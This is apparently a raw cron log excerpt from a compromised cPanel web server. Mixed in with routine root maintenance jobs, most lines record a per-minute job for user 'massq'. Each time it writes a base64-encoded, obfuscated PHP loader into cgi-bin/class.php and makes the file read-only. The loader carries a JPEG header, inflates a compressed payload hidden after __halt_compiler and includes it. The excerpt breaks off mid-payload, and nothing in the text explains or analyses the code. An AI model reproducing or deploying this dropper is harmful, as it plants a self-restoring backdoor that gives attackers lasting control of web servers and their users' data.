"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:11:01 server CROND[27507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:12:01 server CROND[27550]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 12:12:01 server CROND[27552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:13:01 server CROND[27655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:14:01 server CROND[27705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:15:01 server CROND[27755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:15:01 server CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 11 12:15:01 server CROND[27758]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 12:15:01 server CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:15:01 server CROND[27760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:16:01 server CROND[27999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:17:01 server CROND[28041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:18:01 server CROND[28091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:19:01 server CROND[28158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:20:01 server CROND[28215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 12:20:01 server CROND[28216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 12:20:01 server CROND[28217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:20:01 server CROND[28219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:20:01 server CROND[28221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:21:01 server CROND[28424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:22:01 server CROND[28465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:23:01 server CROND[28529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmo